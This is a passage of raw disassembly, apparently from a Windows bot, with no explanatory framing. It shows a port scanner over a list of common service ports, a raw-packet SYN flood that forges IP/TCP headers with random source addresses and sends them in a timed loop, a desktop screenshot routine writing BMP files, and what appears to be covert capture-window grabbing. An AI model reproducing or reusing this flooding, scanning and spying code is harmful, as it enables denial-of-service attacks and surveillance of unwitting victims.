		mov	[ebp+var_7C], ecx
		mov	[ebp+var_108], ebx
		mov	[ebp+var_104], ebx
		mov	[ebp+var_8C], 401h
		mov	[ebp+var_88], 15h
		mov	[ebp+var_84], 16h
		mov	[ebp+var_80], 17h
		mov	[ebp+var_78], 35h
		mov	[ebp+var_74], 50h
		mov	[ebp+var_70], 51h
		mov	[ebp+var_6C], 58h
		mov	[ebp+var_68], 6Eh
		mov	[ebp+var_64], 71h
		mov	[ebp+var_60], 77h
		mov	[ebp+var_5C], 87h
		mov	[ebp+var_58], 89h
		mov	[ebp+var_54], 8Bh
		mov	[ebp+var_50], 8Fh
		mov	[ebp+var_4C], 1BBh
		mov	[ebp+var_48], 1BDh
		mov	[ebp+var_44], 400h
		mov	[ebp+var_40], 599h
		mov	[ebp+var_3C], 5DCh
		mov	[ebp+var_38], 6B8h
		mov	[ebp+var_34], 0CEAh
		mov	[ebp+var_30], 0D3Dh
		mov	[ebp+var_2C], 1388h
		mov	[ebp+var_28], 1A0Bh
		mov	[ebp+var_24], 1F40h
		mov	[ebp+var_20], 1F90h
		rep stosd
		mov	[ebp+var_10], ebx
		mov	[ebp+var_1C], 3
		mov	[ebp+var_18], 0BB8h
		mov	[ebp+var_4], ebx


loc_414D75:				; CODE XREF: sub_414C2F+1C1j
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_9C], 2
		mov	[ebp+var_98], eax
		mov	eax, [ebp+var_4]
		lea	edi, [ebp+eax+var_8C]
		mov	ax, word ptr [ebp+eax+var_8C]
		push	eax
		call	dword_4CB654	; htons
		push	ebx
		push	1
		push	2
		mov	[ebp+var_9A], ax
		call	dword_4CB6D4	; socket
		lea	ecx, [ebp+var_1C]
		mov	[ebp+var_C], eax
		push	ecx
		lea	ecx, [ebp+var_9C]
		push	10h
		push	ecx
		push	eax
		call	sub_414B46
		add	esp, 10h
		mov	[ebp+var_8], eax
		push	[ebp+var_C]
		call	dword_4CB6EC	; closesocket
		cmp	[ebp+var_8], ebx
		jnz	short loc_414DE8
		mov	ecx, [ebp+var_4]
		mov	eax, [edi]
		mov	[ebp+ecx+var_10C], eax


loc_414DE8:				; CODE XREF: sub_414C2F+1ABj
		add	[ebp+var_4], 4
		cmp	[ebp+var_4], 70h
		jl	short loc_414D75
		mov	edi, offset byte_4CEE7C
		push	offset asc_42D124 ; " "
		push	edi		; Dest
		call	_sprintf
		pop	ecx
		pop	ecx
		call	esi	; GetTickCount
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10C]
		mov	[ebp+var_4], ebx
		mov	[ebp+var_8], eax


loc_414E15:				; CODE XREF: sub_414C2F+23Cj
		call	esi	; GetTickCount
		sub	eax, [ebp+var_C]
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		cmp	eax, [ebp+arg_4]
		ja	short loc_414E6D
		mov	eax, [ebp+var_8]
		mov	eax, [eax]
		cmp	eax, ebx
		jz	short loc_414E46
		push	eax
		push	edi
		push	offset aSD	; "%s%d	"
		push	edi		; Dest
		mov	[ebp+var_10], eax
		call	_sprintf
		add	esp, 10h
		jmp	short loc_414E60
; ---------------------------------------------------------------------------


loc_414E46:				; CODE XREF: sub_414C2F+200j
		push	0FFFFh
		push	ebx
		call	sub_418685
		pop	ecx
		pop	ecx
		push	eax
		call	dword_4CB654	; htons
		movzx	eax, ax
		mov	[ebp+var_10], eax


loc_414E60:				; CODE XREF: sub_414C2F+215j
		inc	[ebp+var_4]
		add	[ebp+var_8], 4
		cmp	[ebp+var_4], 1Ch
		jl	short loc_414E15


loc_414E6D:				; CODE XREF: sub_414C2F+1F7j
					; sub_414C2F+477j
		push	28h		; Size
		push	ebx		; Val
		push	offset byte_4CEE18 ; Dst
		call	_memset
		mov	esi, 0FFFFh
		mov	byte_4CEE18, 45h
		push	esi
		push	400h
		mov	byte_4CEE21, 6
		mov	byte_4CEE19, 8
		call	sub_418685
		add	esp, 14h
		push	eax
		call	dword_4CB654	; htons
		push	28h
		mov	word_4CEE1C, ax
		call	dword_4CB654	; htons
		or	byte_4CEE20, 0FFh
		cmp	dword_4CEE08, ebx
		mov	word_4CEE1A, ax
		mov	word_4CEE1E, bx
		jnz	short loc_414EED
		push	0FFFEh
		push	1
		call	sub_418685
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+arg_0]
		shl	eax, 10h
		and	ecx, esi
		or	eax, ecx
		jmp	short loc_414EF8
; ---------------------------------------------------------------------------


loc_414EED:				; CODE XREF: sub_414C2F+2A2j
		push	offset byte_4CE7E8
		call	dword_4CB694	; inet_addr


loc_414EF8:				; CODE XREF: sub_414C2F+2BCj
		mov	dword_4CEE24, eax
		mov	eax, [ebp+arg_0]
		push	4000h
		mov	dword_4CEE28, eax
		mov	byte_4CEE39, bl
		call	dword_4CB654	; htons
		push	esi
		push	ebx
		mov	word_4CEE3A, ax
		call	sub_418685
		mov	edi, eax
		push	esi
		push	ebx
		shl	edi, 8
		call	sub_418685
		add	esp, 10h
		add	edi, eax
		push	edi
		call	dword_4CB650	; htonl
		mov	dword_4CEE30, eax
		mov	al, byte_4CEE38
		mov	edi, [ebp+arg_0]
		and	al, 0Fh
		or	al, 50h
		push	14h
		mov	byte_4CEE38, al
		mov	ax, word ptr [ebp+var_10]
		mov	dword_4CEE34, ebx
		mov	word_4CEE3E, bx
		mov	word_4CEE2E, ax
		mov	dword_4CEE54, edi
		mov	byte_4CEE58, bl
		mov	byte_4CEE59, 6
		call	dword_4CB654	; htons
		mov	word_4CEE5A, ax
		mov	ax, word_4CEE2E
		mov	word_4CEE40, 2
		mov	dword_4CEE44, edi
		mov	word_4CEE42, ax
		mov	[ebp+var_4], ebx
		jmp	short loc_414FAE
; ---------------------------------------------------------------------------


loc_414FA9:				; CODE XREF: sub_414C2F+451j
		mov	esi, 0FFFFh


loc_414FAE:				; CODE XREF: sub_414C2F+378j
		cmp	[ebp+var_4], ebx
		jnz	short loc_414FE2
		push	esi
		push	ebx
		call	sub_418685
		pop	ecx
		pop	ecx
		push	eax
		call	dword_4CB654	; htons
		mov	word_4CEE2C, ax
		mov	eax, dword_4CEE24
		mov	dword_4CEE50, eax
		mov	byte_4CEE39, 2
		mov	dword_4CEE34, ebx
		jmp	short loc_415001
; ---------------------------------------------------------------------------


loc_414FE2:				; CODE XREF: sub_414C2F+382j
		push	esi
		push	ebx
		mov	byte_4CEE39, 10h
		call	sub_418685
		pop	ecx
		pop	ecx
		push	eax
		call	dword_4CB654	; htons
		movzx	eax, ax
		mov	dword_4CEE34, eax


loc_415001:				; CODE XREF: sub_414C2F+3B1j
		inc	word_4CEE1C
		inc	dword_4CEE30
		mov	ax, word_4CEE2E
		push	5
		pop	ecx
		mov	esi, offset word_4CEE2C
		mov	edi, offset dword_4CEE5C
		mov	word_4CEE22, bx
		mov	word_4CEE3C, bx
		push	14h
		rep movsd
		mov	esi, offset byte_4CEE18
		mov	word_4CEE42, ax
		push	esi
		call	sub_40AC69
		push	20h
		push	offset dword_4CEE50
		mov	word_4CEE22, ax
		call	sub_40AC69
		add	esp, 10h
		mov	word_4CEE3C, ax
		push	10h
		push	offset word_4CEE40
		push	ebx
		push	28h
		push	esi
		push	dword_4CEE78
		call	dword_4CB6B8	; sendto
		inc	[ebp+var_4]
		cmp	[ebp+var_4], 3FFh
		jl	loc_414FA9
		call	ds:dword_4270A8	; GetTickCount
		sub	eax, [ebp+var_C]
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		cmp	eax, [ebp+arg_4]
		ja	short loc_4150AB
		push	[ebp+arg_8]
		call	ds:dword_427078	; Sleep
		jmp	loc_414E6D
; ---------------------------------------------------------------------------


loc_4150AB:				; CODE XREF: sub_414C2F+46Cj
		pop	edi
		pop	esi
		mov	eax, offset byte_4CEE7C
		pop	ebx
		leave
		retn
sub_414C2F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_4150B5(char *Str2,int)

sub_4150B5	proc near		; CODE XREF: sub_401ACD+7200p

var_4		= dword	ptr -4
Str2		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	esi
		push	edi
		mov	esi, offset dword_43D810
		mov	edi, 0B8h


loc_4150C9:				; CODE XREF: sub_4150B5+33j
		cmp	byte ptr [esi],	0
		jz	short loc_4150EC
		push	[ebp+Str2]	; Str2
		push	esi		; Str1
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4150EC
		inc	[ebp+var_4]
		add	esi, edi
		cmp	esi, offset dword_43E390
		jl	short loc_4150C9
		jmp	short loc_41512E
; ---------------------------------------------------------------------------


loc_4150EC:				; CODE XREF: sub_4150B5+17j
					; sub_4150B5+26j
		mov	esi, [ebp+var_4]
		push	ebx
		imul	esi, 0B8h
		push	edi		; Size
		push	0		; Val
		lea	ebx, dword_43D810[esi]
		push	ebx		; Dst
		call	_memset
		push	17h		; Count
		push	[ebp+Str2]	; Source
		push	ebx		; Dest
		call	_strncpy
		push	9Fh		; Count
		lea	eax, dword_43D828[esi]
		push	[ebp+arg_4]	; Source
		push	eax		; Dest
		call	_strncpy
		add	esp, 24h
		inc	dword_4294D0
		pop	ebx


loc_41512E:				; CODE XREF: sub_4150B5+35j
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		leave
		retn
sub_4150B5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_415135(int,char *Str,int)

sub_415135	proc near		; CODE XREF: sub_401ACD+28DEp

Dest		= byte ptr -200h
arg_0		= dword	ptr  8
Str		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	esi
		push	edi
		push	0		; int
		push	[ebp+arg_8]	; int
		push	offset dword_436840 ; int
		push	[ebp+Str]	; Str
		push	[ebp+arg_0]	; int
		call	sub_409A73
		add	esp, 14h
		xor	edi, edi
		mov	esi, offset dword_43D810


loc_41515F:				; CODE XREF: sub_415135+72j
		cmp	byte ptr [esi],	0
		jz	short loc_41519A
		lea	eax, [esi+18h]
		push	eax
		push	esi
		push	edi
		push	offset aD_	; "%d. "
		lea	eax, [ebp+Dest]
		push	200h		; Count
		push	eax		; Dest
		call	__snprintf
		push	1		; int
		lea	eax, [ebp+Dest]
		push	[ebp+arg_8]	; int
		push	eax		; int
		push	[ebp+Str]	; Str
		push	[ebp+arg_0]	; int
		call	sub_409A73
		add	esp, 2Ch


loc_41519A:				; CODE XREF: sub_415135+2Dj
		add	esi, 0B8h
		inc	edi
		cmp	esi, offset dword_43E390
		jl	short loc_41515F
		pop	edi
		pop	esi
		leave
		retn
sub_415135	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4151AD	proc near		; CODE XREF: WinMain(x,x,x,x)+384p
					; WinMain(x,x,x,x)+408p ...

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6
var_4		= word ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		push	esi
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	ds:dword_42712C	; GetLocalTime
		mov	ebx, offset byte_4D327C
		mov	edi, 80h
		mov	esi, offset byte_4CF27C


loc_4151CF:				; CODE XREF: sub_4151AD+3Dj
		cmp	byte ptr [ebx],	0
		jz	short loc_4151E6
		push	7Fh		; Count
		lea	eax, [ebx+80h]
		push	ebx		; Source
		push	eax		; Dest
		call	_strncpy
		add	esp, 0Ch


loc_4151E6:				; CODE XREF: sub_4151AD+25j
		sub	ebx, edi
		cmp	ebx, esi
		jge	short loc_4151CF
		movzx	eax, [ebp+var_4]
		push	[ebp+arg_0]
		push	eax
		movzx	eax, [ebp+var_6]
		push	eax
		movzx	eax, [ebp+var_8]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		movzx	eax, [ebp+var_A]
		push	eax
		movzx	eax, [ebp+var_E]
		push	eax
		push	offset a_2d_2d4d_2d_2d ; "[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s"
		push	edi		; Count
		push	esi		; Dest
		call	__snprintf
		add	esp, 28h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4151AD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_415221(char *Format,char Args)

sub_415221	proc near		; CODE XREF: sub_4017ED+F7p
					; sub_401ACD:loc_402077p ...

Dest		= byte ptr -80h
Format		= dword	ptr  8
Args		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 80h
		lea	eax, [ebp+Args]
		push	eax		; Args
		lea	eax, [ebp+Dest]
		push	[ebp+Format]	; Format
		push	80h		; Count
		push	eax		; Dest
		call	__vsnprintf
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_4151AD
		add	esp, 14h
		leave
		retn
sub_415221	endp


; =============== S U B	R O U T	I N E =======================================


; int __cdecl sub_41524D(int,char *Str,int,int)

sub_41524D	proc near		; CODE XREF: sub_401ACD+27D5p

arg_0		= dword	ptr  4
Str		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, offset byte_4CF27C
		xor	ecx, ecx


loc_415254:				; CODE XREF: sub_41524D+13j
		mov	[eax], cl
		add	eax, 80h
		cmp	eax, offset byte_4D327C
		jl	short loc_415254
		cmp	[esp+arg_C], ecx
		jnz	short loc_415282
		push	ecx		; int
		push	[esp+4+arg_8]	; int
		push	offset dword_43688C ; int
		push	[esp+0Ch+Str]	; Str
		push	[esp+10h+arg_0]	; int
		call	sub_409A73
		add	esp, 14h


loc_415282:				; CODE XREF: sub_41524D+19j
		push	offset dword_436878
		call	sub_4151AD
		pop	ecx
		retn
sub_41524D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41528E	proc near		; DATA XREF: sub_401ACD+2888o

Dest		= byte ptr -31Ch
var_11C		= dword	ptr -11Ch
var_118		= byte ptr -118h
Str		= byte ptr -98h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 31Ch
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	45h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_11C]
		push	1
		rep movsd
		xor	edx, edx
		pop	edi
		cmp	[ebp+var_10], edx
		mov	[ebp+var_8], 80h
		mov	[ebp+var_4], edx
		mov	[eax+110h], edi
		jnz	short loc_4152E1
		push	edx		; int
		lea	eax, [ebp+var_118]
		push	[ebp+var_14]	; int
		push	offset dword_4368BC ; int
		push	eax		; Str
		push	[ebp+var_11C]	; int
		call	sub_409A73
		add	esp, 14h


loc_4152E1:				; CODE XREF: sub_41528E+33j
		cmp	[ebp+Str], 0
		jz	short loc_415301
		lea	eax, [ebp+Str]
		push	eax		; Str
		call	_atoi
		test	eax, eax
		pop	ecx
		mov	[ebp+var_4], eax
		jz	short loc_415301
		mov	[ebp+var_8], eax


loc_415301:				; CODE XREF: sub_41528E+5Aj
					; sub_41528E+6Ej
		and	[ebp+arg_0], 0
		mov	esi, offset byte_4CF27C


loc_41530A:				; CODE XREF: sub_41528E+D4j
		mov	eax, [ebp+arg_0]
		cmp	eax, [ebp+var_8]
		jge	short loc_415364
		cmp	byte ptr [esi],	0
		jz	short loc_415353
		cmp	[ebp+Str], 0
		jz	short loc_415339
		cmp	[ebp+var_4], 0
		jnz	short loc_415339
		lea	eax, [ebp+Str]
		push	eax		; int
		push	esi		; Str
		call	sub_418087
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_415353


loc_415339:				; CODE XREF: sub_41528E+90j
					; sub_41528E+96j
		push	edi		; int
		lea	eax, [ebp+var_118]
		push	[ebp+var_14]	; int
		push	esi		; int
		push	eax		; Str
		push	[ebp+var_11C]	; int
		call	sub_409A73
		add	esp, 14h


loc_415353:				; CODE XREF: sub_41528E+87j
					; sub_41528E+A9j
		inc	[ebp+arg_0]
		add	esi, 80h
		cmp	esi, offset byte_4D327C
		jl	short loc_41530A


loc_415364:				; CODE XREF: sub_41528E+82j
		lea	eax, [ebp+Dest]
		push	offset asc_4368A0 ; "-"
		push	eax		; Dest
		call	_sprintf
		xor	esi, esi
		pop	ecx
		cmp	[ebp+var_10], esi
		pop	ecx
		jnz	short loc_41539E
		push	esi		; int
		lea	eax, [ebp+Dest]
		push	[ebp+var_14]	; int
		push	eax		; int
		lea	eax, [ebp+var_118]
		push	eax		; Str
		push	[ebp+var_11C]	; int
		call	sub_409A73
		add	esp, 14h


loc_41539E:				; CODE XREF: sub_41528E+EEj
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_4151AD
		push	[ebp+var_18]
		call	sub_40B413
		pop	ecx
		pop	ecx
		push	esi
		call	ds:dword_4270CC	; ExitThread
		pop	edi
		pop	esi
sub_41528E	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4153BD	proc near		; CODE XREF: sub_401ACD+7350p

var_484		= byte ptr -484h
var_84		= dword	ptr -84h
var_80		= dword	ptr -80h
var_7C		= dword	ptr -7Ch
var_78		= word ptr -78h
var_76		= word ptr -76h
var_74		= dword	ptr -74h
var_70		= dword	ptr -70h
var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= word ptr -4Ch
var_4A		= word ptr -4Ah
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= word ptr -30h
var_2E		= dword	ptr -2Eh
var_2A		= word ptr -2Ah
var_28		= word ptr -28h
var_26		= dword	ptr -26h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 484h
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		push	esi
		push	esi
		push	esi
		push	offset aDisplay	; "DISPLAY"
		call	dword_4CB640	; CreateDCA
		mov	edi, eax
		cmp	edi, esi
		mov	[ebp+var_20], edi
		jz	loc_4155F1
		push	8
		push	edi
		call	dword_4CB65C	; GetDeviceCaps
		push	0Ah
		push	edi
		mov	[ebp+var_8], eax
		call	dword_4CB65C	; GetDeviceCaps
		push	0Ch
		push	edi
		mov	[ebp+var_C], eax
		call	dword_4CB65C	; GetDeviceCaps
		cmp	eax, 8
		mov	[ebp+var_10], eax
		ja	short loc_41541F
		push	18h
		push	edi
		call	dword_4CB65C	; GetDeviceCaps
		mov	ebx, 100h
		jmp	short loc_415421
; ---------------------------------------------------------------------------


loc_41541F:				; CODE XREF: sub_4153BD+50j
		xor	ebx, ebx


loc_415421:				; CODE XREF: sub_4153BD+60j
		push	edi
		call	dword_4CB6A0	; CreateCompatibleDC
		cmp	eax, esi
		mov	[ebp+var_4], eax
		jz	loc_4155D6
		mov	eax, [ebp+var_8]
		push	esi
		mov	[ebp+var_80], eax
		mov	eax, [ebp+var_C]
		mov	[ebp+var_7C], eax
		mov	ax, word ptr [ebp+var_10]
		mov	[ebp+var_76], ax
		lea	eax, [ebp+var_18]
		push	esi
		push	eax
		lea	eax, [ebp+var_84]
		push	1
		push	eax
		push	edi
		mov	[ebp+var_84], 28h
		mov	[ebp+var_78], 1
		mov	[ebp+var_74], esi
		mov	[ebp+var_70], esi
		mov	[ebp+var_6C], esi
		mov	[ebp+var_68], esi
		mov	[ebp+var_64], ebx
		mov	[ebp+var_60], ebx
		call	dword_4CB698	; CreateDIBSection
		cmp	eax, esi
		mov	[ebp+var_1C], eax
		jz	loc_4155E1
		push	eax
		push	[ebp+var_4]
		call	dword_4CB524	; SelectObject
		cmp	eax, esi
		jz	loc_4155E1
		cmp	eax, 0FFFFFFFFh
		jz	loc_4155E1
		push	0CC0020h
		push	esi
		push	esi
		push	edi
		push	[ebp+var_C]
		push	[ebp+var_8]
		push	esi
		push	esi
		push	[ebp+var_4]
		call	dword_4CB69C	; BitBlt
		test	eax, eax
		jz	loc_4155E1
		cmp	ebx, esi
		jz	short loc_4154DE
		lea	eax, [ebp+var_484]
		push	eax
		push	ebx
		push	esi
		push	[ebp+var_4]
		call	dword_4CB578	; GetDIBColorTable
		mov	ebx, eax


loc_4154DE:				; CODE XREF: sub_4153BD+10Bj
		mov	edi, [ebp+var_10]
		mov	ecx, [ebp+var_8]
		imul	edi, [ebp+var_C]
		imul	edi, ecx
		mov	eax, ebx
		push	esi
		shr	edi, 3
		shl	eax, 2
		mov	[ebp+var_8], eax
		push	80h
		lea	edx, [eax+edi+36h]
		add	eax, 36h
		push	2
		mov	[ebp+var_26], eax
		mov	eax, [ebp+var_C]
		push	esi
		push	esi
		push	40000000h
		push	[ebp+arg_0]
		mov	[ebp+var_50], eax
		mov	ax, word ptr [ebp+var_10]
		mov	[ebp+var_30], 4D42h
		mov	[ebp+var_2E], edx
		mov	[ebp+var_2A], si
		mov	[ebp+var_28], si
		mov	[ebp+var_58], 28h
		mov	[ebp+var_54], ecx
		mov	[ebp+var_4C], 1
		mov	[ebp+var_4A], ax
		mov	[ebp+var_48], esi
		mov	[ebp+var_44], esi
		mov	[ebp+var_40], esi
		mov	[ebp+var_3C], esi
		mov	[ebp+var_38], ebx
		mov	[ebp+var_34], esi
		call	ds:dword_4270EC	; CreateFileA
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_0], eax
		jz	short loc_4155C1
		lea	ecx, [ebp+var_14]
		push	esi
		push	ecx
		lea	ecx, [ebp+var_30]
		push	0Eh
		push	ecx
		push	eax
		call	ds:dword_4270E0	; WriteFile
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		lea	eax, [ebp+var_58]
		push	28h
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_4270E0	; WriteFile
		cmp	ebx, esi
		jz	short loc_4155A3
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		lea	eax, [ebp+var_484]
		push	[ebp+var_8]
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_4270E0	; WriteFile


loc_4155A3:				; CODE XREF: sub_4153BD+1CCj
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		push	edi
		push	[ebp+var_18]
		push	[ebp+arg_0]
		call	ds:dword_4270E0	; WriteFile
		push	[ebp+arg_0]
		call	ds:dword_427068	; CloseHandle
		push	1
		pop	esi


loc_4155C1:				; CODE XREF: sub_4153BD+1A2j
		push	[ebp+var_1C]
		call	dword_4CB5B0	; DeleteObject
		push	[ebp+var_4]
		call	dword_4CB510	; DeleteDC
		mov	edi, [ebp+var_20]


loc_4155D6:				; CODE XREF: sub_4153BD+70j
		push	edi
		call	dword_4CB510	; DeleteDC
		mov	eax, esi
		jmp	short loc_4155F3
; ---------------------------------------------------------------------------


loc_4155E1:				; CODE XREF: sub_4153BD+C7j
					; sub_4153BD+D9j ...
		push	edi
		call	dword_4CB510	; DeleteDC
		push	[ebp+var_4]
		call	dword_4CB510	; DeleteDC


loc_4155F1:				; CODE XREF: sub_4153BD+23j
		xor	eax, eax


loc_4155F3:				; CODE XREF: sub_4153BD+222j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4153BD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_4155F8(int,size_t Size,int,int)

sub_4155F8	proc near		; CODE XREF: sub_401ACD+7477p

var_34		= byte ptr -34h
var_20		= dword	ptr -20h
Src		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
Size		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 34h
		push	ebx
		push	esi
		push	edi
		push	1
		pop	esi
		xor	ebx, ebx
		push	esi
		push	dword_4D3280
		push	78h
		push	0A0h
		push	ebx
		push	ebx
		push	40000000h
		push	offset aWindow	; "Window"
		call	dword_4CB5A4
		mov	edi, eax
		cmp	edi, ebx
		mov	[ebp+var_4], edi
		jnz	short loc_415636
		mov	eax, esi
		jmp	loc_4157EC
; ---------------------------------------------------------------------------


loc_415636:				; CODE XREF: sub_4155F8+35j
		push	edi
		call	dword_4CB5F4	; IsWindow
		test	eax, eax
		jz	short loc_415653
		push	ebx
		push	[ebp+Size]
		push	40Ah
		push	edi
		call	dword_4CB6B0	; SendMessageA
		jmp	short loc_415655
; ---------------------------------------------------------------------------


loc_415653:				; CODE XREF: sub_4155F8+47j
		xor	eax, eax


loc_415655:				; CODE XREF: sub_4155F8+59j
		cmp	eax, ebx
		jnz	short loc_415660


loc_415659:				; CODE XREF: sub_4155F8+88j
					; sub_4155F8+BCj
		mov	ebx, esi
		jmp	loc_4157E1
; ---------------------------------------------------------------------------


loc_415660:				; CODE XREF: sub_4155F8+5Fj
		push	edi
		call	dword_4CB5F4	; IsWindow
		test	eax, eax
		jz	short loc_41567D
		lea	eax, [ebp+var_34]
		push	eax
		push	2Ch
		push	40Eh
		push	edi
		call	dword_4CB6B0	; SendMessageA


loc_41567D:				; CODE XREF: sub_4155F8+71j
		cmp	[ebp+var_20], ebx
		jz	short loc_415659
		push	edi
		call	dword_4CB5F4	; IsWindow
		test	eax, eax
		mov	edi, 42Ch
		jz	short loc_4156A3
		push	ebx
		push	ebx
		push	edi
		push	[ebp+var_4]
		call	dword_4CB6B0	; SendMessageA
		mov	[ebp+Size], eax
		jmp	short loc_4156A6
; ---------------------------------------------------------------------------


loc_4156A3:				; CODE XREF: sub_4155F8+98j
		mov	[ebp+Size], ebx


loc_4156A6:				; CODE XREF: sub_4155F8+A9j
		push	[ebp+Size]	; Size
		call	_malloc
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+Src], eax
		jz	short loc_415659
		push	[ebp+Size]	; Size
		call	_malloc
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		jnz	short loc_4156CD
		push	1
		pop	ebx
		jmp	loc_4157E1
; ---------------------------------------------------------------------------


loc_4156CD:				; CODE XREF: sub_4155F8+CBj
		push	[ebp+var_4]
		call	dword_4CB5F4	; IsWindow
		test	eax, eax
		jz	short loc_4156EA
		push	[ebp+Src]
		push	[ebp+Size]
		push	edi
		push	[ebp+var_4]
		call	dword_4CB6B0	; SendMessageA


loc_4156EA:				; CODE XREF: sub_4155F8+E0j
		push	[ebp+Size]	; Size
		push	[ebp+Src]	; Src
		push	esi		; Dst
		call	_memcpy
		mov	ecx, [ebp+arg_8]
		add	esp, 0Ch
		cmp	ecx, ebx
		jg	short loc_415705
		mov	ecx, 280h


loc_415705:				; CODE XREF: sub_4155F8+106j
		mov	eax, [ebp+arg_C]
		cmp	eax, ebx
		jg	short loc_415711
		mov	eax, 1E0h


loc_415711:				; CODE XREF: sub_4155F8+112j
		push	[ebp+var_4]
		mov	[esi+4], ecx
		mov	[esi+8], eax
		mov	word ptr [esi+0Eh], 10h
		mov	[esi+14h], ebx
		mov	[esi+10h], ebx
		mov	[esi+20h], ebx
		mov	[esi+24h], ebx
		mov	word ptr [esi+0Ch], 1
		mov	[esi+28h], bl
		mov	[esi+29h], bl
		mov	[esi+2Ah], bl
		mov	[esi+2Bh], bl
		call	dword_4CB5F4	; IsWindow
		test	eax, eax
		mov	edi, 42Dh
		jz	short loc_41575B
		push	esi
		push	[ebp+Size]
		push	edi
		push	[ebp+var_4]
		call	dword_4CB6B0	; SendMessageA


loc_41575B:				; CODE XREF: sub_4155F8+153j
		push	[ebp+var_4]
		call	dword_4CB5F4	; IsWindow
		test	eax, eax
		jz	short loc_415778
		push	ebx
		push	ebx
		push	43Dh
		push	[ebp+var_4]
		call	dword_4CB6B0	; SendMessageA


loc_415778:				; CODE XREF: sub_4155F8+16Ej
		push	[ebp+var_4]
		call	dword_4CB5F4	; IsWindow
		test	eax, eax
		jz	short loc_415797
		push	[ebp+arg_0]
		push	ebx
		push	419h
		push	[ebp+var_4]
		call	dword_4CB6B0	; SendMessageA


loc_415797:				; CODE XREF: sub_4155F8+18Bj
		push	[ebp+var_4]
		call	dword_4CB5F4	; IsWindow
		test	eax, eax
		jz	short loc_4157B4
		push	[ebp+Src]
		push	[ebp+Size]
		push	edi
		push	[ebp+var_4]
		call	dword_4CB6B0	; SendMessageA


loc_4157B4:				; CODE XREF: sub_4155F8+1AAj
		push	[ebp+Src]
		call	sub_41B0B1
		push	esi
		call	sub_41B0B1
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_4CB5F4	; IsWindow
		test	eax, eax
		jz	short loc_4157E1
		push	ebx
		push	ebx
		push	40Bh
		push	[ebp+var_4]
		call	dword_4CB6B0	; SendMessageA


loc_4157E1:				; CODE XREF: sub_4155F8+63j
					; sub_4155F8+D0j ...
		push	[ebp+var_4]
		call	dword_4CB704	; DestroyWindow
		mov	eax, ebx


loc_4157EC:				; CODE XREF: sub_4155F8+39j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4155F8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_4157F1(int,size_t Size,int,int,int)

sub_4157F1	proc near		; CODE XREF: sub_401ACD+752Fp

var_90		= byte ptr -90h
var_7C		= dword	ptr -7Ch
var_64		= dword	ptr -64h
